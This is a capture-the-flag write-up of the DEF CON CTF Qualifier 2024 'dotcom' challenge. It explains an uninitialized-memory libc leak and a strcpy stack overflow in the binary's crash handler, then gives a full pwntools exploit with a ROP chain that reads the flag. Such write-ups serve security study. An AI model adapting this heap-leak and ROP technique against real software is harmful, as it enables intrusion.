1. Overview
2. Analysis
3. Vulnerabilities
3-1. Uninitialized Memory
3-2. Stack Overflow
4. Exploit
5. Finish
This challenge was a pwnable challenge presented at the DEF CON CTF Qualifier 2024. Thanks to my teammate quickly finding the vulnerability, I achieved the First Blood for this challenge during the competition. Generally, this problem is considered to be of an easier difficulty compared to other challenges presented at the DEF CON CTF.
One of the common Pwnable challenge types, like the "Notes" challenge, this binary allows adding and releasing arbitrary Models. In addition, there is a strong Seccomp Filter, but this is for the second challenge (airbag). Since the flag file of the dotcom challenge is opened as soon as the binary starts, if you have acquired Control Flow, you can easily read the flag of dotcom. Another special point is that there is a Crash Handler. This also seems to be for the second challenge (airbag), but the actual exploitable vulnerability in the dotcom binary exists in the Crash Handler.
The first vulnerability is that memory is not properly initialized. By creating an Unsorted bin and then allocating a Chunk, we can include the fd and bk (Address of main arena) in m. Since the values are not overwritten when they are NaN, the address of libc remains. Eventually, that value can be printed by the draw_graph function and leaked to the user.
The second vulnerability exists in the Crash handler. When parsing the abort message, a Stack Overflow occurs because it uses the strcpy function. At first glance, it may seem like the user cannot control the value of the abort message, but the Crash Handler is triggered for most signals.
Therefore, by using a part where a signal occurs without an abort message, you can control the value passed to the find_abort_string function. In the code above, since the user's input value is in the register at the point of abort, if you include the input "(): Asse", you can trigger the find_abort_string function.
.text:0000000000401565 48 8B 05 7C 4A 00 00 mov rax, cs:stdin_ptr
.text:000000000040156C 48 8B 10 mov rdx, [rax] ; stream
.text:000000000040156F BE F4 01 00 00 mov esi, 1F4h ; n
.text:0000000000401574 E8 87 FB FF FF call _fgets
However, there is still a problem with exploiting it. Since strcpy terminates when it encounters a Null byte, it is impossible to perform ROP. If we check the point where RIP control is possible, the Stack address remains in the RDI register. Therefore, we can use a gadget like the one above to cause a Stack Overflow again. Then, sufficient ROP becomes possible.
The second challenge, Airbag, was clearly about causing Memory Corruption in the Airbag binary by manipulating the Crash Message from dotcom and exploiting it with a memfd_create related trick. However, I ultimately failed to solve it because I couldn't find a vulnerability in the Airbag binary.
The final solve code for dotcom is as follows:
from pwn import *
import struct
context.arch = "amd64"
nan = struct.unpack("Q", struct.pack("d", float('nan')))[0]
#r = process("dotcom_market")
r = remote("dotcom.shellweplayaga.me", 10001 )
r.sendlineafter(b"Ticket please:", b"ticket{here_is_your_ticket}")
r.sendlineafter(b"Enter graph description:", b"123")
r.sendlineafter(b">", b"0")
s = f"0|0|0|0|0|" + "A"*0x400
s = f"{len(s)}|{s}"
r.sendlineafter(b"Paste model export text below:", s.encode())
r.sendlineafter(b">", b"0")
s = f"0|0|0|0|0|" + "A"*0x400
s = f"{len(s)}|{s}"
r.sendlineafter(b"Paste model export text below:", s.encode())
r.sendlineafter(b">", b"66")
r.sendlineafter(b">", b"1")
r.sendlineafter(b">", b"0")
s = f"0|{nan}|0|0|0|" + "A" * 0x400
s = f"{len(s)}|{s}"
r.sendlineafter(b"Paste model export text below:", s.encode())
r.sendlineafter(b">", b"1")
r.recvuntil(b"r = ")
leak = float(r.recvuntil(b" ", drop=True).decode())
libc_leak = u64(struct.pack("d", leak * 10))
libc_leak = libc_leak & ~0xfff
libc_base = libc_leak - 0x21a000
pop_rdi = libc_base + 0x000000000002a3e5
pop_rsi = libc_base + 0x000000000002be51
pop_rdx_rbx = libc_base + 0x00000000000904a9
write = libc_base + 0x0114870
read = libc_base + 0x01147d0
print(f'libc_base = {hex(libc_base)}')
r.sendlineafter(b">", b"1")
r.sendlineafter(b">", b"0")
raw_input()
pay = b'1280|'
pay += b'(): Asse' + b'A'*0x30
pay += p64(0x401565)
pay += b'X'*(1284 - len(pay))
r.sendline(pay)
pay = b'B'*0x18
pay += p64(pop_rdi)
pay += p64(0x6)
pay += p64(pop_rsi)
pay += p64(libc_base+0x21c000)
pay += p64(pop_rdx_rbx)
pay += p64(0x100)
pay += p64(0x0)
pay += p64(read)
pay += p64(pop_rdi)
pay += p64(0x1)
pay += p64(pop_rsi)
pay += p64(libc_base+0x21c000)
pay += p64(pop_rdx_rbx)
pay += p64(0x100)
pay += p64(0x0)
pay += p64(write)
pay += p64(0xdeadbeef)
r.sendline(pay)
r.interactive()